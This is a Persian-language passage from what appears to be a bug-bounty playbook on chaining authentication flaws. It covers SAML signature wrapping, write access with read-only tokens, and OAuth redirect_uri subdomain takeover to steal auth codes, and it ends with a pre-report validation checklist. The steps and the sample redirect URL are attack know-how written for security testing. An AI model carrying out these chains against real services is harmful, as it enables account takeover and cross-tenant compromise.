  • ‏ج. اعتبارسنجی امضای SP روی عنصر بیرونی جواب می‌دهد؛ منطق کسب‌وکار SP عنصر داخلی را می‌خواند؛ نقش admin بدون رمز یا MFA فرض می‌شود.
  • ‏تأثیر: compromise کامل SSO سازمانی. هر اپ SAML-gated هویت admin جعلی را برای طول session به ارث می‌برد.
  • ‏شکل واقعی: GitHub Enterprise CVE-2025-25291 / CVE-2025-25292 (تفاوت parser، ۲۰۲۵)؛ samlify CVE-2025-47949. ارجاع متقابل به hunt-auth-bypass استناد #۵ و #۷ و علت ریشه‌ای #۵ (quirkهای parsing مربوط به SAML XML).
زنجیره‌ی ۵ — بررسی scope توکن هنگام صدور، نه استفاده ← نوشتن میان‌مستأجری با PAT کم‌scope
  • ‏الف. توکن personal access / OAuth فقط با scope مربوط به read:user بساز. با GET /api/me/tokens تأیید کن.
  • ‏ب. endpoint نوشتنی را صدا بزن که باید write:* بخواهد (مثل DELETE /repos/{org}/{repo}/issues/{n}). سرور از طریق middleware «احراز هویت‌شده است؟» را چک می‌کند ولی handler تکی زیرمجموعه‌ی scope مربوط به PAT را دوباره تأیید نمی‌کند.
  • ‏ج. اقدام نوشتن با اینکه توکن فقط-خواندنی است موفق می‌شود.
  • ‏تأثیر: مدل scope مربوط به PAT عملاً شکسته — هر توکن فقط-خواندنی روی endpointهای آسیب‌دیده معادل نوشتنی است. با هر PAT لو‌رفته در کل کاربران قابل‌استثمار انبوه است.
  • ‏شکل واقعی: کلاس scope-at-issuance-not-at-use در GitHub (علت ریشه‌ای #۳). جفت با گام ۴ (فاز scope مربوط به PAT) و دورزدن scope مربوط به JWT در hunt-api-misconfig.
زنجیره‌ی ۶ — تسخیر ساب‌دامین در allowlist مربوط به `redirect_uri` در OAuth ← سرقت auth-code ← ATO
  • ‏الف. allowlist مربوط به redirect_uri در OAuth را از فلوی /oauth/authorize enumerate کن؛ هر wildcard مثل *.target.com یا hostname کاندید تسخیر در لیست استاتیک را یادداشت کن.
  • ‏ب. ساب‌دامین قابل‌تسخیر پیدا کن (legacy.target.com با CNAME به پروژه‌ی حذف‌شده‌ی Vercel / اپ Heroku / باکت S3 — گام ۱ در hunt-subdomain).
  • ‏ج. ساب‌دامین را تصاحب کن. گیرنده‌ی callback مربوط به OAuth میزبانی کن. قربانی را به /oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&... بفرست. کد auth روی هاست مهاجم فرود می‌آید. با endpoint توکن تعویضش کن. ATO.
  • ‏تأثیر: ATO ماندگار تک‌کلیک هر بار که فلوی OAuth روی کلاینت آسیب‌دیده اجرا شود.
  • ‏شکل واقعی: زنجیره‌ی cloudapp.azure.com + wildcard *.visualstudio.com reply_to در Microsoft Azure DevOps (Binary Security، نوامبر ۲۰۲۲). ارجاع متقابل به hunt-subdomain استناد #۱۲.
الگوی سطح-اپراتور

وقتی primitive متفرقه را در مرحله‌ی A تأیید کردی، بلافاصله بپرس: کدام ماشین state، لایه‌ی کش، endpoint خواهر یا skew مربوط به auth-state می‌تواند آن را تقویت کند؟ primitive اول برگ ورود است. زنجیره خروجی واقعی است. هر استناد اسکیل Workstream-A در این باندل با حداقل یک شکل زنجیره‌ی بالا جفت می‌شود:

  • ‏hunt-auth-bypass — زنجیره‌های ۲، ۴، ۵
  • ‏hunt-cache-poison — زنجیره‌ی ۳
  • ‏hunt-saml — زنجیره‌ی ۴
  • ‏hunt-subdomain — زنجیره‌ی ۶
  • ‏hunt-ato — زنجیره‌های ۱، ۲، ۵، ۶ (همه‌ی مسیرهای impact نهایی)
۱۰

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏hunt-saml — signature wrapping در SAML (XSW1–XSW8) critical متعارف «misc auth» است. primitive زنجیره: SAML XSW + تزریق AttributeStatement در hunt-saml ← تعویض NameID ← ATO ادمین قربانی از طریق SSO بدون رمز.
  • ‏‏hunt-business-logic — باگ‌های desync نقش/مجوز متفرقه با نقص‌های ماشین state در business-logic هم‌پوشانی دارند. primitive زنجیره: business logic (دعوت-پیش-از-verify) + تخصیص نقش بدون تأیید هویت ← تسخیر tenant.
  • ‏‏hunt-auth-bypass — شکاف‌های باطل‌سازی session و مسائل توکن کهنه primitiveهای خالص auth-bypass‌اند. primitive زنجیره: کاربر حذف‌شده توکن session را نگه می‌دارد ← hunt-auth-bypass ← exfil داده پس از خاتمه و دسترسی ماندگار.
  • ‏‏hunt-ato — بیشتر باگ‌های auth متفرقه به تسخیر حساب ختم می‌شوند. primitive زنجیره: signature-stripping / تزریق NameID + مسیر ۶ در hunt-ato (دست‌کاری JWT/SAML) ← ATO در سطح admin در سازمان.
  • ‏‏security-arsenal — بسته‌ی payload مربوط به SAML Raider، چک‌لیست probe باطل‌سازی session و لیست Always-Rejected را بردار (rate-limit روی auth، مسائل نظری، شمارش کاربر بدون PII حساس).
  • ‏‏triage-validation — دروازه‌ی ۷-سؤال و قاعده‌ی Body-Diff را اعمال کن: باگ‌های متفرقه بیشترین سهم N/A را دارند — ادعای desync مربوط به state به PoC مشخص خواندن میان‌مستأجری یا اقدام admin نیاز دارد، نه فقط «API اجازه‌ی فراخوانی داد».
مراحل استخراج‌شده
  1. ۱‏‏`hunt-saml` — signature wrapping در SAML (XSW1–XSW8) critical متعارف «misc auth» است. primitive زنجیره: SAML XSW + تزریق AttributeStatement در `hunt-saml` ← تعویض NameID ← ATO ادمین قربانی از طریق SSO بدون رمز.
  2. ۲‏‏`hunt-business-logic` — باگ‌های desync نقش/مجوز متفرقه با نقص‌های ماشین state در business-logic هم‌پوشانی دارند. primitive زنجیره: business logic (دعوت-پیش-از-verify) + تخصیص نقش بدون تأیید هویت ← تسخیر tenant.
  3. ۳‏‏`hunt-auth-bypass` — شکاف‌های باطل‌سازی session و مسائل توکن کهنه primitiveهای خالص auth-bypass‌اند. primitive زنجیره: کاربر حذف‌شده توکن session را نگه می‌دارد ← `hunt-auth-bypass` ← exfil داده پس از خاتمه و دسترسی ماندگار.
  4. ۴‏‏`hunt-ato` — بیشتر باگ‌های auth متفرقه به تسخیر حساب ختم می‌شوند. primitive زنجیره: signature-stripping / تزریق NameID + مسیر ۶ در `hunt-ato` (دست‌کاری JWT/SAML) ← ATO در سطح admin در سازمان.
  5. ۵‏‏`security-arsenal` — بسته‌ی payload مربوط به SAML Raider، چک‌لیست probe باطل‌سازی session و لیست Always-Rejected را بردار (rate-limit روی auth، مسائل نظری، شمارش کاربر بدون PII حساس).
  6. ۶‏‏`triage-validation` — دروازه‌ی ۷-سؤال و قاعده‌ی Body-Diff را اعمال کن: باگ‌های متفرقه بیشترین سهم N/A را دارند — ادعای desync مربوط به state به PoC مشخص خواندن میان‌مستأجری یا اقدام admin نیاز دارد، نه فقط «API اجازه‌ی فراخوانی داد».